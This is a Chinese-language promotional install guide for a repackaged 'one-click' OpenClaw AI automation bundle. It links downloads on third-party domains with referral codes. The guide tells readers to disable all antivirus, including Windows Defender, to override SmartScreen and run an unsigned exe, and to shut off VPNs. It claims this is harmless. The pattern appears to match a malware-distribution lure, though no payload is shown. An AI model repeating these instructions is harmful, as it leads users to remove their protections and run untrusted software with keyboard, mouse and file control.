macOS 与 Windows 平台 OpenClaw 安装文档，自动化办公工具搭建流程（含安装包）
OpenClaw 一键部署包｜简化搭建流程，摆脱繁琐环境配置
系统适配与版本信息
Windows 支持系统：Windows10/11 64 位，稳定版本 v2.9.0 macOS 支持系统：macOS 12 及以上，稳定版本 v2.7.9 安装压缩包大小：45.8MB。推荐使用浏览器下载工具或者迅雷获取文件，降低下载中断造成文件损坏的概率。
工具特点
整套部署流程采用可视化交互模式，不需要使用者掌握命令行相关知识，不必手动配置 Python、Node.js 等运行环境。程序所需全部依赖组件均内置在安装包内，常规电脑环境下 5 分钟内完成整套搭建，没有技术基础的用户也能够独立完成操作。
安装前置注意事项（决定部署能否成功）
在解压文件、启动安装程序之前，建议关闭电脑内所有安全防护软件，包含 360 安全卫士、腾讯电脑管家、火绒安全以及 Windows Defender 实时防护功能。 OpenClaw 拥有系统文件读写、程序操控、键鼠模拟等自动化能力，这类行为容易被安全防护程序判定为风险行为，一旦核心文件被隔离或删除，部署流程将会中断。该项目为开源项目，感兴趣的用户可以前往 GitHub 查看源码验证安全性，临时关闭防护软件进行安装不会带来隐患。
第一步：获取对应系统安装压缩包
Windows v2.9.0 下载地址： https://xiake.yun/api/download/package/20?promoCode=IV4E9B04A80C
macOS v2.7.9 下载地址： https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C
文件下载完成后，前往下载目录找到压缩包。优先使用 7-Zip、WinRAR 进行解压，系统自带解压工具极易出现文件缺失问题。
第二步：解压文件，启动安装程序设置安装目录
- 在压缩包上右键，选择解压至当前文件夹，解压完成后生成 Openclaw-win 文件夹；
- 进入文件夹，双击运行「Openclaw Windows 一键启动.exe」，程序带有龙虾图标便于识别；
- 当 Windows SmartScreen 弹出阻止运行窗口，点击更多信息，选择仍要运行即可正常启动；
- 程序加载完毕进入欢迎界面，点击底部「开始使用」，跳转至目录选择页面。
安装目录重要规范
- 目录路径只能使用英文字符，禁止存在中文、空格、￥、& 等特殊符号；
- 不推荐安装在 C 盘，避免占用系统分区存储空间； ✅参考路径：
D:\OpenClaw、E:\AI\OpenClaw❌错误路径：D:\工具\OpenClaw
选定路径之后，勾选同意《用户协议》《免责声明》，点击开始安装进入自动部署阶段。
第三步：全自动后台部署，无需人工干预
点击开始安装后，程序自动执行全部部署工作，全程无需人为操作，耗时大约 3~5 分钟，具体时长取决于电脑硬件性能。部署期间不要关闭程序窗口，强行终止会造成安装失败。
自动化执行任务清单：
- 检测本机运行环境，自动补齐 Git、Node.js、Python 等缺失组件；
- 根据 Windows 系统环境部署 OpenClaw 全部核心程序文件；
- 部署浏览器控制组件、键鼠模拟工具，支撑各类自动化任务运行；
- 生成专属.env 配置文件，完成基础配置并在桌面创建快捷启动方式。
进度条到达 100% 时，软件会自动启动主程序，进入初始化阶段。
第四步：第一次启动，确认程序正常运行
安装结束自动弹出初始化界面，页面提示「正在等待 Gateway 就绪...」。第一次启动需要初始化后台服务，等待时长 1~3 分钟；后续启动仅需要几秒，属于正常现象。
界面右上角显示「Gateway 在线」，就代表部署全部完成。界面功能分区介绍：
- 右上角：Gateway 运行状态、服务重启按钮、日志查看入口、可用 Tokens 额度（内置 28 万额度，满足基础功能体验）
- 左侧：本地会话与渠道切换栏，支持新建对话、翻阅历史交互记录
- 中间对话区域：默认 AI 智能体，支持多种模型切换、代码高亮展示
- 底部指令输入区：Enter 发送指令，Shift+Enter 换行，支持切换运行模式
第五步：下发自动化指令，体验工具能力
部署验证通过后无需额外配置，直接在输入框输入自然语言指令即可执行任务。OpenClaw 会自主拆分任务逻辑，调用工具操控电脑完成工作，指令描述越详尽，执行效果越好。
新手测试指令，直接复制使用
- 整理 D 盘下载目录，按照文件类型新建分类文件夹
- 打开记事本，输入文字 “OpenClaw 部署成功”，保存文件到桌面
- 获取电脑各个磁盘剩余空间信息，整理文本展示出来
常见问题排查指南
安装失败、启动程序无响应
确认全部安全防护软件已经关闭；关闭防护软件依旧异常时，删除现有解压文件，重新解压安装包重试。
Gateway 长期显示离线
- 核查安装路径是否为纯英文，不存在中文、特殊符号；
- 点击右上角重启按钮，重新启动 Gateway 后台服务；
- 完全关闭软件，右键程序选择以管理员身份运行。
出现网络错误提示
第一次启动需要网络资源完成初始化，请保证网络通畅，关闭代理、VPN 工具后重新启动程序。
Tokens 额度不足
内置 28 万额度可以体验基础功能，额度耗尽后可通过界面充值入口补充，不会影响核心自动化功能使用。
无法输入、指令发送没有反馈
等待 Gateway 服务加载完成，状态显示在线之后再发送指令；问题持续存在建议重新完整安装程序。
使用小贴士
- 建议选择剩余存储空间 5G 以上分区安装，预留空间存放后续插件、模型缓存文件；
- 桌面快捷方式生成后，后续直接双击图标启动，不用重复解压；
- 需要对接微信、飞书等聊天渠道远程下发指令，可以在软件【设置】-【聊天渠道】进行配置；
- 版本更新方式：直接下载最新安装包覆盖原有文件夹，无需卸载旧版本。
该软件不存在广告弹窗，无捆绑附加程序，部署完成之后即可开展各类自动化办公工作，减少重复操作。 后续持续更新 OpenClaw 技能拓展方案、本地大模型接入、多渠道联动相关教程，可以持续关注获取相关内容。
Windows v2.9.0 下载地址：https://xiake.yun/api/download/package/20?promoCode=IV4E9B04A80C
macOS v2.7.9 下载地址：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C
